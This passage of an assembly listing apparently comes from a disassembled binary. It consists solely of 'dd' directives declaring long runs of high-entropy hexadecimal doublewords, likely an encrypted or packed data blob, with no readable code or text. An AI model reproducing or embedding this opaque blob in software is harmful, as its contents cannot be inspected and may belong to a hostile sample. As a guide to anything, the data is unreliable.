0B3616DEDh dd 27E7FF01h, 0ADE5C45Dh, 75A4B1BEh, 8D6DF484h, 484AB81h dd 0E725ADCFh, 0EEC76563h, 487017EDh, 6DF707E0h, 79A2BBA7h dd 0FDADCF44h, 466D6B60h, 0AC026DE5h, 9039516Ah, 23F7D4ADh dd 0EDE684B4h, 656813DCh, 0DF2DA3B4h, 994523D7h, 609FADB2h dd 0C4876528h, 3AC73074h, 2DCD04E4h, 5164F7FDh, 0FBADA04Eh dd 0B9E85CF7h, 0E7FBB0A9h, 0A099849Ch, 0D1F74FF4h, 0F28A39B3h dd 9FD6C71Dh, 696DB259h, 876D6B22h, 0E7D4CAD7h, 0FD85496Bh dd 6EC79FFAh, 3B97C049h, 3F8AC7FAh, 73BD905h, 66526F7h dd 0B327FACCh, 0AAE1DCFEh, 2EE784EDh, 0C2A30149h, 0AF55D733h dd 312D95F6h, 444DA1C7h, 0E7B830F5h, 0C2464560h, 75F778EDh dd 34977560h, 0B02BF7FBh, 86FCDEC6h, 4452DF7h, 0B1E32DD8h dd 0E28465E0h, 0DED7842Dh, 0BCCE4587h, 55A2710Bh, 78AD5121h dd 0C5696BD7h, 0F7F331C3h, 0F9C7712Dh, 5C22C86Dh, 0ADE546C4h dd 0DC73D7AFh, 0A1AD50E2h, 0C445A431h, 0F7AB3BC9h, 0D1C765ADh dd 26F7F87Ah, 6DD00659h, 45E01CDEh, 262DDA44h, 5E4524D7h dd 4CDEED99h, 0A1269C0Eh, 4BB14FB4h, 0FCE444A4h, 4DE3E7FFh dd 0E6F4DE46h, 0C16167A3h, 0F710F4A9h, 823082D8h, 0DE916DCAh dd 0F29B1083h, 3399F7C7h, 2836C704h, 46C8F7A1h, 6259EDC8h dd 7F1E7D62h, 0AF781ADh, 0C2E38581h, 67BB4065h, 0EF94F605h dd 4155ADA3h, 0C7F97699h, 0D005C4FAh, 2EC7ECF2h, 0BCE80465h dd 0E43230CBh, 0F6BFFB05h, 0E37167A0h, 0D73CED89h, 0EEC461A1h dd 3DE7E97Ch, 74E905F4h, 0E43DE7EAh, 0F474E9C4h, 0C4C43DE7h dd 0E7F672F8h, 0B941C43Dh, 0F5C741EDh, 0F28B6FE4h, 45E0D731h dd 0FF7C9D23h, 0C575EBE7h, 0B1C8BCEBh, 0D44575A4h, 0AD22847Ch dd 0C7D78469h, 45EF9138h, 76ADD984h, 46C4F781h, 0E7F13FF3h dd 0F4C56163h, 0E9A1A63Ch, 0F4A80361h, 4437E7CFh, 0B6ADF944h dd 47E87EA3h, 0C785EDFDh, 0F8C7C031h, 3AF7E2EDh, 0ED91E150h dd 75EF93A5h, 0D3CFE6C5h, 55037E7h, 83876DD2h, 0E5C5F039h dd 0A5F75C02h, 7A8D617Dh, 61A5E74Ah, 6DADB382h, 265DEFA1h dd 0A394F482h, 9141556Eh, 0C6E7FB7Ch, 0AD81E152h, 0CEC6A3A5h dd 7CADF944h, 0C769E191h, 0E7FFBCC6h, 0E706516Ch, 0AEB17CF4h dd 34F44579h, 0D739A27Ch, 0A6E74AB2h, 4155A8A1h, 0E7FFC757h dd 4DE361E0h, 40C78E2Dh, 0ADE8C768h, 712AD7F9h, 37DF95BBh dd 8579E62Ch, 0D7F0C2D6h, 0FA85740Ch, 0B6F7E27Fh, 0EDB0AF70h dd 0DF01E7F9h, 8CED8859h, 995CB643h, 758CEDACh, 792FF10Fh dd 4983A5ADh, 0ADE1444Fh, 0F007D772h, 0F26DC1C4h, 86416BA0h dd 0BC9CFAEEh, 0FAC575A1h, 86C7CC7Fh, 0FC1323C4h, 51AFA1CFh dd 0EE2D89E1h, 0C5F4B683h, 23BCF4C5h, 0AE0F5CF7h, 9BE7602Dh dd 0EDCA46C3h, 45638391h, 0F22DCD85h, 0C851A2E7h, 0E7B32DA6h dd 98F175A2h, 8DC7C02Dh, 0BCE84564h, 2453C7FFh, 0F277D8C7h dd 87ECF3E7h, 0E70A0FE6h, 0B2C05164h, 0AFC7DFADh, 82E78769h dd 5C8AE717h, 0EBAD51BAh, 847B89F7h, 0E73CB4C3h, 8D937810h dd 16A1ABEDh, 3BEF46C7h, 4491811Dh, 0B2B483EEh, 684816E7h dd 23F2ADE5h, 0D944716Bh, 6FF7DFFEh, 0FBD9C455h, 6965C7DBh dd 5DAD8BD1h, 0ACDC2AC7h, 0F7DF7BB4h, 0D60469A8h, 0E5F00AD6h dd 0EDAE607Dh, 64C0D779h, 8BF1CF85h, 46EC563Bh, 23973CFAh dd 0CDEA51EEh, 0A1E7EB2Dh, 0EDB08B55h, 689253ECh, 0CFADCD05h dd 87EB9EE7h, 0D7EC5EDCh, 0C3C641E6h, 25F707ADh, 0ADF9C545h dd 49AA2375h, 0D6BEE784h, 0E05D60C7h, 0D7B1B394h, 0E8C78CE5h dd 65F7E4EDh, 0B1CB8420h, 30ABE73Ah, 89ADCD05h, 85756B93h dd 0E7DFB4D9h, 0E9066477h, 0A5EEE987h, 0AD762361h, 0D8CAE22Eh dd 6A2DF306h, 86592291h, 0E7D931C3h, 0B9E8C832h, 0A7F7816Dh dd 0BBF4C63Ch, 45A9F705h, 0E1B1DF44h, 577DE5E7h, 0E7F739AEh dd 0A63A6561h, 25D7DF6Dh, 0ADB8B341h, 45A7F71Ah, 587CD445h dd 8579A1F7h, 0D7316DE5h, 0D884756Eh, 63E0F83Ch, 7EE78655h dd 61A5F71Fh, 0FB03AFB5h, 0CEF453C7h, 0A168EDB1h, 0F4444DE4h dd 740D63EDh, 0ADBE03E0h, 4D65C71Fh, 0ED3CC244h, 6978FEF7h dd 0D2FCADB8h, 0E7C4E497h, 0A3C7EE2Dh, 0ADB63D27h, 7DE1906Fh dd 387B9971h, 0C769A5F7h, 0D71A2DEDh, 0E004616Bh, 0A0D7976Dh dd 0EDE3047Dh, 5D6D112Ch, 0F2DD606h, 7D342CF7h, 0B242AD7Dh dd 0E9845166h, 6D7100EDh, 0ADD3C57Dh, 496DD7B5h, 1C2DE406h dd 0C4B4FAE7h, 0D7DAEDD2h, 0ACD6F392h, 68F72BADh, 0EDF40471h dd 4926817Ch, 0F640FA04h, 0C7902AC7h, 905AADE1h, 0BADF556Bh dd 2451AD71h, 3157B35Dh, 69A6D7E4h, 28EDD9C7h, 0C5BCADC7h dd 0C01E31EEh, 0EE0759E2h, 0E8D7686Dh, 2DD3C730h, 0A4A2E732h dd 86ADB1A0h, 0B41CF4E7h, 600BADB8h, 95577475h, 0B5A389ADh dd 0EDF00473h, 41AEA876h, 7B151C2h, 0F379E1E7h, 0C7E9F4A6h dd 0FA84BBC8h, 66F7DF31h, 7782A979h, 7127E74Ah, 6E2D8DC8h dd 0C72832F7h, 0C7F36DEBh, 0AC493C08h, 23E7446Dh, 70B1D35Dh dd 43DC7F9h, 0F86DE3C7h, 94083DC7h, 0F7052DA6h, 0F3C5616Ah dd 0B52003ADh, 6DEC84CCh, 79E3E746h, 0F26D73B3h, 0FF083DC7h dd 0E7442DA2h, 0A3D35DA3h, 6B9387EDh, 0EDDE8579h, 0A13ED757h dd 2400ED85h, 477DEDD7h, 812500E6h, 0E04607F9h, 0B2C7E5BEh dd 509C84A4h, 1FF98A09h, 0C07C9442h, 0F0973DB0h, 0E7CBADB2h dd 0AD82ACF2h, 4FF7862Dh, 2DDFC708h, 4D2D7039h, 6340E707h dd 0B490C748h, 0D765719Ah, 0DB0545EDh, 6EE70578h, 705BF36Dh dd 0E897D725h, 1579D9C6h, 0C54563C7h, 0E7746DE8h, 924CECD9h dd 0B4C7BAADh, 6DA2F5F0h, 6475AC0Bh, 19ADC385h, 46616BE0h dd 43BFFFD6h, 0D9C769A3h, 7D90F1ADh, 0EDE1C4FCh, 0C097900Ah dd 46AD8D9Ch, 4649E0A2h, 0AE36F6F2h, 810361ABh, 0E5C774B3h dd 0B3D6C66Dh, 55EDD23Ch, 70EDF546h, 0C7882FC1h, 0C7FF2DDCh dd 0DE065DA6h, 83E7D947h, 2D4D1C9Ch, 40C9D780h, 1A7EAFEAh dd 0D351AED7h, 0F7D4ED70h, 953044FEh, 0F8316B2Dh, 0AD3A5F48h dd 6969B2F8h, 0B1B9C2C6h, 0F6DC36C7h, 0A1BB2D94h, 0EC04712Ah dd 6BE2D7EDh, 7CEC4651h, 0D432E733h, 7A34C706h, 0C575A3C7h dd 0C71A6DE5h, 2D3F5DAEh, 4883896Dh, 0F6B2C104h, 860EC7C9h dd 557CD407h, 9FB83DC7h, 30EEED71h, 8920148Ah, 0B2C7F12Dh dd 0CAB4A9D4h, 712AA184h, 0CA048374h, 4F37BD7h, 0D0602DCBh dd 0CE075925h, 2EC787F2h dd 7071F351h, 55A47EF2h, 444BE804h, 0C78B02D7h, 0B4952DE2h dd 0D0C73C96h, 88839140h, 0DAB874A8h, 38CF72C2h, 0FFE7F38h dd 0C7792D7Ah, 817C40C7h, 0F1044D6Ah, 54D24E8Ch, 2D8D5FC4h dd 0C7C0C740h, 0C604C33Fh, 0B450FEF7h, 0A1A68298h, 69B07169h dd 6D3066ADh, 40F3C761h, 9C9732E2h, 540F307h, 335D26D7h dd 91F1EDA3h, 91CE6968h, 6DF72874h, 40F9875Dh, 756C649Ah dd 0E2C26EFAh, 99E37501h, 1CA36D21h, 4DF994C2h, 56D7232Dh dd 0BC8A9D93h, 50B5E7F8h, 0DFBB8461h, 7B69E3C7h, 0C7E62D27h dd 0CB793E14h, 6B2A28FAh, 3FE64745h, 51EAA171h, 0F1A4ED38h dd 0C77770A5h, 2F4BCFBh, 0ED60B64Dh, 70A5F1A4h, 0C4C57Bh dd 0E175B97Dh, 636DF9A1h, 0E0D5B1A9h, 0E7DFA4F1h, 0EFE36D29h dd 0BC81A164h, 6D95E1A3h, 9031A3E4h, 54BD8C7h, 335D26C7h dd 0E714B089h, 0E746656Bh, 0AE9D6744h, 0ED530241h, 7DACA1A5h dd 319440F9h, 339831F7h, 0C73B2D8Dh, 4AFB5D23h, 54C7D3B0h dd 2DCD8468h, 71E2E7E3h, 58ED96A1h, 54043F7h, 0C7F8EDD2h dd 0B60D6D65h, 6531B3ADh, 7EC3C561h, 0DCF1C7BAh, 7FEDD004h dd 45882FC2h, 0E78676EEh, 0DE855DA5h, 0EBE7A063h, 3343507Dh dd 7522C7E7h, 0D9EDE6C5h, 0C5516BD7h, 0E7C1F4E4h, 0D60550B5h dd 3EF72CEDh, 0EDDEC530h, 49226129h, 0C6B7E7C6h, 802C80C7h dd 0A3A280ADh, 92B1F8C6h, 0EF89E8F4h, 7CC8C771h, 6DA1C071h dd 0BE2D91CAh, 86443FF7h, 43937FCDh, 0E785D475h, 0CED72EB7h dd 0EDBD215Ch, 0E0C1C770h, 9702CA84h, 8F41A162h, 90B8F0B7h dd 40E14560h, 2F836831h, 71B9E10Ch, 76F44D98h, 0F3C4FF47h dd 6E0C0C81h, 0F7D323D8h, 0E80687B0h, 0FDC7446Dh, 0AD911DBBh dd 59ADF726h, 27ADDB06h, 4141A0D7h, 0E76C2D4Dh, 0A260E4F5h dd 79C7322Dh, 2DC9C7E2h, 50B4E7E5h, 0AB788A9Fh, 0B250B781h dd 31C440B9h, 0D6C7D351h, 30C7DA77h, 6DBE2FC8h, 821A372h dd 2170E546h, 0B2556D9Dh, 0A1A72D9Dh, 0BC3451E4h, 377136F0h dd 0FCE14754h, 5925D705h, 7B049C10h, 0EB64DA21h, 2F84ED67h dd 69EB49EDh, 6B619C77h, 0BBCCC469h, 0A5153A14h, 0A36D85C1h dd 45516E28h, 0A1A4ADDFh, 0F204416Bh, 0E023376Dh, 6DE6C584h dd 0DC36705Bh, 5F0F9C4h, 655A3F7h, 9CE27CCBh, 0E1C57DA9h dd 65C7276Dh, 0F49D3CB0h, 71A2F7B0h, 0BADA5A1h, 4455EE51h dd 0D7E1C7DDh, 0DE85F4DAh, 35D76D77h, 0EDB1A02Ch, 0C4DA5377h dd 0E2B4F985h, 0C4503FF7h, 639C2DD1h, 0E8C741A3h, 3DB36CEDh dd 3B86A044h, 7DA4E7DFh, 8F2D9341h, 0D060DD51h, 0C7BBAD93h dd 5323EACBh, 1BF7E0ADh, 0ADC446C6h, 4129CE2Ah, 0A3ADE246h dd 0D40027F2h, 0F71D2D8Dh, 81A05D6Ah, 64E77637h, 6DAC6C75h dd 7B8D71F3h, 0E0EDA43Eh, 6E51A28Dh, 0F7DAEDB0h, 0A24D79ECh dd 6DF797B3h, 0EDF1C445h, 4965E787h, 7EDA9F7h, 0C484A5E0h dd 0E007EDFDh, 85F74924h, 0A5E007EDh, 6DEEC669h, 485CF064h dd 0E777DEC5h, 0AA0826D7h, 41DCF194h, 0A38B41A5h, 0AAD7DF76h dd 0FCD90445h, 7960316Bh, 7A6DAC30h, 46BC6BE7h, 81A0ADCEh dd 8DF5BCA9h, 29E7922Dh, 71473620h, 0D806E734h, 2FEDEDC4h dd 847D69E7h, 0E0DDADF4h, 0EDC569A4h, 0E071FC2Dh, 2DF94645h dd 5C3FF738h, 986D6E96h, 19CEB53h, 0E05E1183h, 5968DC2Ah dd 0EBE7AFADh, 0AD922D94h, 906BC7E3h, 366DAC31h, 475A5E7h dd 0D707EDFFh, 0AEEE49A0h, 67D7526Dh, 0EDDE864Dh, 796DF793h dd 33EDC584h, 0C57122F7h, 0E7386DECh, 0E0464924h, 0E8F725EDh dd 0EDB97155h, 79E07BAFh, 1AEDD684h, 2C5D66F7h, 0E746EDAAh dd 0A3635C98h, 25C707F1h, 0EDE1C74Dh, 416DE724h, 8471ACF0h dd 45568D7h, 0D20DEDC0h, 0C3C679E5h, 3FC7473Bh, 0EDED84F0h dd 61A5E76Bh, 21ADD085h, 0C4692DF7h, 0E72B2DDAh, 0F8047569h dd 2AA171EDh, 0ADE5C461h, 7D69D72Bh, 1DAD9B50h, 76ACEFD7h dd 0E72B2DA6h, 0ED04756Ah, 66D734ADh, 0AD992C5Dh, 616BD70Bh dd 31EDA3A0h, 0BCA0B3E7h, 0CC99ED49h, 0A3364121h, 29D72FF1h dd 2DEE4549h, 552DF7B1h, 25EDDDC5h, 2F883FF7h, 131A6D80h dd 0CC0649E5h, 0C8417AEDh, 0ADDBC768h, 41A2A1F3h, 1371D0C5h dd 0C6FC7021h, 50B7BFE3h, 0EC85716Bh, 0A991E000h, 829D2A75h dd 80A99216h, 78A991Ch, 588EFE7h, 0F7392DF4h, 0D184A4F6h dd 6CF725F0h, 0ADC5C728h, 0E4DAC7EDh, 4DEDFD84h, 8545E1F0h dd 0E7B5EDCEh, 0F4C749E7h, 0E98019ADh, 0B6F50451h, 45E0C7D1h dd 4EDEF46h, 0ED68CBC7h, 0E0F37793h, 0FB86596Bh, 6181AEBCh dd 70BA6DA0h, 6C36031Ah, 722DAF5Dh, 3C7D6693h, 0E768AD98h dd 987DA849h, 218D726Dh, 6DEEC575h, 2AF77Ah, 6D36C5C7h dd 0DC456F52h, 0D05C3947h, 0FB879CC7h, 0E0A0FCBCh, 2D88AC71h dd 5836C2D6h, 1373E184h, 77E8F101h, 0E774F3AFh, 0EF047124h dd 0B74170EDh, 79A2926Ch, 0ACADD7D5h, 72AD8B5Dh, 85C45893h dd 0D7AFEDE5h, 852AA806h, 6EE715EDh, 0ADDE4641h, 75EF33D1h dd 0E9F4F087h, 490C151h, 90E036FFh, 0AC7E552Ah, 0A5E7326Dh dd 0ADD2C751h, 65A511DEh, 0A381EA87h, 0A05D61F7h, 0D0C3739Eh dd 0BAB74920h, 20D042ADh, 73DE4545h, 0A44ED7EEh, 0BBFC405h dd 3F492660h, 600BADA5h, 0AD3F49A1h, 0E020C0ADh, 126BFB51h dd 940BF718h, 0DF38C5C4h, 85412EC7h, 212AD1FFh, 0F875ECCFh dd 0A6F4AEFCh, 6DEF4685h, 9DE1E778h, 7F2D5C5Fh, 3FD830C7h dd 0E7EFF4E4h, 8DB13CADh, 69F71FEDh, 0F8E9C49Ch, 75A9C705h dd 38EDDE45h, 47127E7h, 92602DD6h, 0CFC5596Bh, 1FF725ADh dd 2DDE8640h, 7DEDB172h, 0A4ADD1C6h, 0B8C4B4F7h, 0D7DE73A7h dd 6E3ED044h, 0EAE7A26Dh, 0F4E08765h, 55E8D71Ah, 0EBF4A419h dd 3F1CADE7h, 0D7DFED9Dh, 0FB4645ADh, 0A7604AB4h, 0ADDA4645h dd 0B8A32E41h, 0C47AF704h, 0C749E81Ch, 32272DEAh, 0F9066D6Bh dd 83E7E573h, 0EDB71BF4h, 0EC35E0B7h, 0F73066D7h, 0E1D405F7h dd 5C9A6D93h, 0A9F4807Ah, 25A1A5ADh, 2DA6D775h, 1856C731h dd 8B826234h, 845D6670h, 0C77AADEDh, 0E88479A4h, 0D8D77A6Dh dd 12F105B8h, 79EDD735h, 5F30D6C6h, 46592220h, 0FE7AADFAh dd 0A16E875Dh, 0A0C7E88Ch, 0AD96194Dh, 0F08EC7E1h, 0F7AD26D8h dd 0C4E412E7h, 0E724ADD9h, 0C546C041h, 42B3B36Dh, 6D96DAF8h dd 69E21A17h, 51ED169Ah, 846966F7h, 0F778ADEDh, 0FDC4A872h dd 2DC707EDh, 0ED60E265h, 4566BD31h, 3EADD1C5h, 0C571E1C7h dd 81778AC8h, 0F20661E2h, 0E151E4ADh, 0AD807475h, 0D47C232Ch dd 0E62DCDC6h, 0C74893D7h, 7C1E6DDEh, 0DF055408h, 7C93B8BCh dd 0EDC1C4E8h, 6D6F510Bh, 3B30B700h, 0A341EA61h, 91832D91h dd 0A8A3CCD7h, 6A00067Ch, 6DAE006Dh, 4169103Dh, 7EDB968h dd 4645EAD7h, 0A32E6DC3h, 0C1065874h, 0F88924F4h, 71AD0B34h dd 55A1C758h, 9CCC6D23h, 46516B51h, 117BFCEAh, 0D7C6D898h dd 0A250A674h, 0ADCC0575h, 0EBF3C758h, 33F0F2C5h, 0F2F88F61h dd 0C72A8A87h, 898E4D6Ah, 2D3042B4h, 31EC8451h, 0FB7FD727h dd 0DDEDD1C4h, 6C4167E0h, 0E7862DA5h, 0CDC761A6h, 53E7C52Dh dd 0ED81CD3Ch, 59604D67h, 0DD2D24EDh, 0C4F802D7h, 3286EDD9h dd 82CDC83Dh, 2A93796Dh, 0ADEDC459h, 0FCC0C733h, 0E0F42238h dd 6FBF7E7h, 833D2DCDh, 9B6FACADh, 4EF731D0h, 0ADB8F6BCh dd 41BD7DAh, 77B48A2Fh, 54076F7h, 0D739B0C2h, 0A61C5125h dd 0EDE04DEDh, 6D6CAB69h dd 0CC36E724h, 0BB2D9A4Bh, 0C669ED71h, 0D70584C7h, 0E4C575A9h dd 0E5E71B6Dh, 0F4DC8451h, 5929F779h, 96ADFE84h, 0C4C4F481h dd 0D7A237F9h, 0AE84F334h, 63C79F6Dh, 0F4CEC561h, 68B4F770h dd 4ED85CEh, 0C971E623h, 0E7054183h, 0B72E7D22h, 0ADE726EDh dd 80E8466Dh, 4961E7B4h, 0F72DE305h, 770B441h, 0D7118FE9h dd 0F3C6496Bh, 6BE7FFADh, 0BEEEC569h, 5521F786h, 2470D1C4h dd 0CE7D29A1h, 0F765ED98h, 91A34076h, 0EF5151EDh, 0FCB34159h dd 28DD011Fh, 0DE735714h, 22E496A1h, 0C7E3AD58h, 0F445540Eh dd 0AAD75074h, 0ADA00049h, 552B6100h, 27ADCF45h, 6C94E1C7h dd 0D7F3769Eh, 0EE4771EAh, 0FEC7966Dh, 3FECC5D4h, 14A6F736h dd 9B76C545h, 29D817D0h, 23AC7665h, 0F1E8DC9Dh, 0E42DF7EDh dd 3FA8354Dh, 0A899C7F5h, 0ED86ED45h, 0C8D89DF7h, 0E761B23Ah dd 600DE048h, 1AF7EAADh, 0C4D585FCh, 7D2AB214h, 89F7A52Fh dd 0C1C71533h, 91A82D4Ch, 0CD067072h, 35E76C2Dh, 2DD94600h dd 0D0791382h, 0A1ADFE84h, 0EF6161E0h, 0F7847185h, 0E6047169h dd 0CDB100EDh, 31C7C4E4h, 416CF795h, 1884C707h, 0E15D6AF7h dd 0E7DB7F57h, 0E545756Bh, 6B20A74Ch, 0FB99A961h, 69E2D754h dd 0E7F6E885h, 39D48EC7h, 60BEEDADh, 622E59A3h, 6BD7E7ADh dd 0F7F78561h, 69E0D7E7h, 81FFAF0Ah, 14125A1h, 134BADBEh dd 0AB2F6800h, 5E015B37h, 6DF2C710h, 416BAD7Dh, 2EEDE206h dd 0F379EDB1h, 63656DA9h, 0EE050868h, 20D7156Dh, 770FAC59h dd 68CE4127h, 3A2DCDC6h, 5206199h, 0E72BFCDCh, 96ECC434h dd 62D0A4ADh, 0F4CEC545h, 45A1C731h, 1A6DEE46h, 0F569E15Dh dd 0C733B799h, 0B622F811h, 256167ADh, 0EDD34645h, 1C5593ABh dd 0A2349DACh, 0C4B825E4h, 0C70C72F2h, 0D7C72827h, 66E7D2F1h dd 0E784CA5h, 0CDDBD778h, 9989FD84h, 47FB5A35h, 0C46426DBh dd 0F6848325h, 2DD423E1h, 2DCD8527h, 0A6ACD7F2h, 1EE1DD06h dd 0C4E599BEh, 1516EDE9h, 8C627498h, 1CF7C336h, 0EDA1016Ch dd 2CA5A12Fh, 34ED8E59h, 8A6DA5E7h, 1106D7Ch, 0C184749Bh dd 9A5152EDh, 0F39329CCh, 7D6BE716h, 9EFCDCC4h, 0C6A801B5h dd 0F7296DECh, 0AA2284D6h, 4823A6FCh, 0AD90E1FCh, 0D44160EEh dd 10349DB9h, 4441E463h, 7D8037EFh, 0A9EB8886h, 0B97172EDh dd 0D8F7EAACh, 41A7E77Fh, 10ADFC87h, 0CACDD903h, 8C6D583Eh dd 8F8B5DEBh, 0F651FAD8h, 0A024B38Ah, 49EFBAB7h, 8AAD6A63h dd 67DA560h, 0F785F7FDh, 0A663596Dh, 41A4BD2Dh, 0B9B8A2C8h dd 5D2F311Bh, 45388E55h, 0C7F844A2h, 55541E0h, 0DDC622F4h dd 0D9F7E42Dh, 0C3C3EAC1h, 51ABBC6Dh, 7BF0CA33h, 0EADC5601h dd 0C795B0BEh, 0A1B0552Ah, 0A58CF6A0h, 2DA48075h, 0C886E75Ch dd 3FA0C6B0h, 84AC22A4h, 823FF9CBh, 0EFF36CC6h, 0AEC7CB70h dd 6D497F79h, 1427D786h, 3DADDD46h, 86830F93h, 0F7596DEEh dd 918F5D6Eh, 22E78AB4h, 0B8B8CD6Dh, 51EAE7BCh, 752D8D29h dd 0C7481CF7h, 0C784B7EDh, 0A0AA59AAh, 21ADC5FEh, 0BCDF46BCh dd 6DE4E78Bh, 0E5EDCB06h, 0C64567D7h, 0D756EDDEh, 0CDC571E2h dd 63D70D2Dh, 2D4D3F4Dh, 6872C716h, 2B2DE3C5h, 0C7A809C7h dd 5D902DE8h, 0CD8661A9h, 2954D22Dh, 0F0C80469h, 6D6BD71Ah dd 372D9DE5h, 1E656FF2h, 0D727AD16h, 0DF871461h, 0E5D7DB84h dd 36CD065Dh, 2C2888FAh, 0BC7FF344h, 23492AE7h, 0D707F491h dd 0D6C57561h, 22A1833Eh, 41F24594h, 452D7266h, 70AD743Fh dd 8469E0E7h, 5C94B3C6h, 91217161h, 6DD7B1F4h, 0FFE9C451h dd 8866E26Eh, 0D9ADAED4h, 0C4E89B5Ch, 515736E1h, 8E9859A4h dd 0F3F7A42Dh, 0ADD0C6E2h, 8455012Fh, 3EEDC746h, 0AE0413E7h dd 3923EDA9h, 0BE797A3Bh, 25E73B74h, 0ADD6C741h, 805200F4h dd 8B2DE546h, 604F28Dh, 2FEADCBh, 8EE94D63h, 6DD7D8F1h dd 0B285C361h, 49E9F707h, 0E7ADE045h, 314D2ED7h, 30F4FE29h dd 0F4C55521h, 60131EADh, 0ADF0C749h, 492A0176h, 3AF73DA9h dd 46456900h, 0E764ADDAh, 0DCC63813h, 0F78379B7h, 32B5EA5Ch dd 22D0E7B3h, 0D9EDCEAAh, 215DA0C7h, 0F7DFF1ADh, 0A40B6DE1h dd 0E2D03DEDh, 6DE0C710h, 45E0AD27h, 12F4A1AEh, 5E834C7h dd 0D0EBBCF1h, 0C805456Bh, 0B4D70714h, 2DA479C0h, 79A782B6h dd 7EB9B81Ah, 6F0CA1C2h, 0C7DF2DB2h, 8F014127h, 0EAD725DCh dd 0B1A96275h, 5C0BC75Bh, 7CEDBD2Bh, 0E249AA20h, 0F787AD81h dd 0B0034125h, 0ADC797F1h, 6DC90704h, 792E7CC2h, 0E97782DAh dd 1F1C4FC7h, 0F77F7388h, 97297D65h, 22F7862Dh, 0B4CBC675h dd 69287295h, 8D236C79h, 869AC8C7h, 0F71403FCh, 0E28555E2h dd 2E6A9DEDh, 38EA949h, 0A9CAE7D7h, 5B2DF6C7h, 0F942B964h dd 20EBEDACh, 8989792Bh, 0D420052Dh, 34DDC780h, 7D6C837Eh dd 7EEDEBB9h, 82792DB3h, 61E5F667h, 9A72496Ah, 0E541692Dh dd 0AD8C6945h, 0BD96C7FDh, 0B5ADB661h, 6D696B28h, 6159909Ah dd 0BA6C71A9h, 3FE78E3Eh, 3A4058E7h, 0A8D2C7B1h, 6A8A8B81h dd 38FA3FE7h, 1CC5EDF0h, 0C1C6E44Dh, 6A3247EDh, 0ED51FB5Dh dd 179CE7BEh, 0E66DE846h, 2161E9E7h, 0E7E6F7B5h, 0DAC4C86Dh dd 3BF7E6F7h, 4A4AEF98h, 3B9EF7CBh, 85EDAE2Dh, 0C53BD97Dh dd 8FE56DEFh, 8ED830A2h, 7CD714EDh, 0ADBD4A9Ah, 0A83BEC67h dd 0A8FFBA80h, 0C679E553h, 0D263BCF8h, 0E0C67876h, 0BBF7DAADh dd 6D68FA00h, 65A9E7B4h, 9532AB21h, 9A792053h, 0A320B4B9h dd 0DE06616Bh, 6B2DEE2Dh, 0BCF2C561h, 0C8C1B3EFh, 0A92DFD45h dd 46C4C193h, 639F6DECh, 0F2054036h, 0A6E7867Ah, 2DB52369h dd 49E540FFh, 872DF345h, 4DD4C0D7h, 93ABFF87h, 9EE17EF0h dd 4BF7FA36h, 0ED662E64h, 9BF7C718h, 0B83FCCC4h, 0C3F132B5h dd 0AD076D47h, 0F4C74168h, 4FC7E044h, 2D8543AFh, 75AFF78Ch dd 8A738BEBh, 0C7F47F7Ch, 0B5C9C6E0h, 26234162h, 6E33A46Dh dd 0EDAA4B49h, 7968ABD7h, 0FE0CF444h, 0A24C95F7h, 0A59D6D1Ah dd 0F4F9425Fh, 5ED774C2h, 0ED5C9952h, 13971DA4h, 81F787DFh dd 6D7D20C7h, 3274E2DBh, 5A006DAEh, 90C7DDFFh, 0C6E0842Fh dd 0B85324FDh, 33BCD787h, 0C1552B4Fh, 653EA782h, 0FA2C45E4h dd 9CE73FADh, 2DC2C6A2h, 456A607Fh, 42624C7Ch, 1B71AF63h dd 0CC70ED1Eh, 0ED057B0Fh, 2769886Dh, 2D756D94h, 61E8F72Fh dd 0E42DDFC6h, 296566D7h, 0D7F1779Bh, 0CDC44DE2h, 2DF2B232h dd 30E28575h, 556BE755h, 5CC9D585h, 0B5C4F555h, 0D7D76D6Eh dd 0A4755567h, 0A5E79B2Dh, 2DD44549h, 55AFCCE2h, 0B4DC81C1h dd 2165EBE7h, 0A3C52DDFh, 0D1056436h, 71E27D74h, 2DB6E050h dd 0C9F0539Fh, 98B6B180h, 0B67CFDE7h, 0E797944Eh, 0D82070FDh dd 0B3BD84A4h, 0B4F68420h, 0D4B0A1CEh, 21B6964Dh, 0C64125AEh dd 846F2DE6h, 0DC4692F6h, 0F6846FE0h, 0E0DC0692h, 0B479F72Bh dd 0E2ADD1C5h, 0B25C12E7h, 0F7DBB39Eh, 0A930A69Dh, 7F6E89EDh dd 0B49E6FFCh, 16F6B4F5h, 7F7CDC84h, 8584F284h, 0B142A0D0h dd 0B530E782h, 7DD7B3EDh, 60EA4614h, 0A024942Eh, 2088CA73h dd 0CBA9B2F7h, 0A20581AFh, 0EA46903Dh, 6BA42E60h, 60C4C475h dd 6966926Fh, 22AD91ACh, 745A0C7h, 31BAC4F7h, 0E4C55522h dd 0FF714AEDh, 2DF5C5E8h, 8DBD4220h, 0ECB4DE46h, 9D692033h dd 0C7F8F463h, 81085564h, 0EC705F3h, 6DEE45F4h, 0BEBED7D9h dd 0AAE390C1h, 85804474h, 0A07BA3EDh, 2372DC1Dh, 6B90C6F4h dd 0B7091D41h, 7DA7F778h dd 0FA6DA6A4h, 0C5A4BDE7h, 0E04CADD1h, 0A39FB772h, 0FDD78558h dd 0AD6DA12Ch, 5928D7B8h, 0ED7BA8D3h, 0C591CCF7h, 0A34263FFh dd 0E6C7E87Fh, 0CEF7EC78h, 53D146B4h, 6CC4023h, 55BBE7Dh dd 8527C823h, 0D79C73D4h, 0FD05823Dh, 6772EDE3h, 0F3815D79h dd 0A107E72Fh, 683597E1h, 5030644h, 0F70593E1h, 0AEDC5923h dd 80D7DFBBh, 2D55A39Fh, 955774A8h, 7BFA535Ch, 3C9B5690h dd 44058B5Dh, 0BCA09406h, 20E72B2Dh, 0F3FC4575h, 4DA0C76Dh dd 0FECBFB07h, 0B94D6553h, 0A1C82D16h, 0FFC5E87Fh, 0E9C7252Dh dd 0EDB51855h, 49ABD7B8h, 7EADBE20h, 1061A0A0h, 0E170EDB8h dd 0FBC54003h, 0ED1CC04Ch, 0EDC1C66Dh, 949F5DB8h, 7E42C5C5h dd 306121A0h, 0B16CBF09h, 4A5249EAh, 0E4E79530h, 326EF44Dh dd 0AB3D00D4h, 0ABADC3C7h, 0E3B81BB1h, 0E7546DAEh, 0C4856D6Bh dd 0E9D75404h, 0ADE5C749h, 7803E7E7h, 1AADF5C5h, 665A4F7h dd 91C66DF5h, 0D50659E9h, 0EDD7E7ADh, 0B4F74565h, 6125E7A0h dd 7FCEE87h, 6C49E1F7h, 0F7ABED6Dh, 0F3046DE5h, 0E1E7D536h dd 0F4C3C669h, 0C4FC9CF5h, 0A5ADA37Dh, 